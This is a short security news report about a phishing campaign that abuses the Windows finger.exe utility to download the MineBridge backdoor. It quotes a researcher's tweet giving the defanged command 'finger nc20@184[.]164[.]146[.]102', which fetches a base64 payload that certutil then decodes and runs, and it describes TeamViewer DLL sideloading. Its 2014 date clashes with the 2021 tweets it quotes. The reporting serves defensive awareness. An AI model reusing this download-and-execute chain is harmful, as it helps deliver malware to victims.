Windows Finger command abused by phishing to download malware


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Aug 17, 2014
Attackers are using the normally harmless Windows Finger command to download and install a malicious backdoor on victims' devices.
The 'Finger' command is a utility that originated in Linux/Unix operating systems that allows a local user to retrieve a list of users on a remote machine or information about a particular remote user. In addition to Linux, Windows includes a finger.exe command that performs the same functionality.
This week, security researcher Kirk Sayre found a phishing campaign utilizing the Finger command to download the MineBridge backdoor malware.
VirusTotal ITW maldoc using finger.exe to download 2nd stage. Runs 'finger nc20@184[.]164[.]146[.]102' to pull down b64 encoded cert, certutil to decode, runs payload. Payload is VirusTotal.
— Kirk Sayre (@bigmacjpg) January 14, 2021
Once executed, the downloader will download a TeamViewer executable and use DLL hijacking to sideload a malicious DLL, the MineBridge malware.
Interesting, downloads a teamviewer executable and a malicious dll, sideloaded by teamviewer, containing MINEBRIDGE malware - The behaviour is the same, apart from the finger.exe, even the TLD c2 *.top of fireeye report - STOMP 2 DIS: Brilliance in the (Visual) BasicsVirusTotal
— Giuseppe `N3mes1s` (@gN3mes1s) January 15, 2021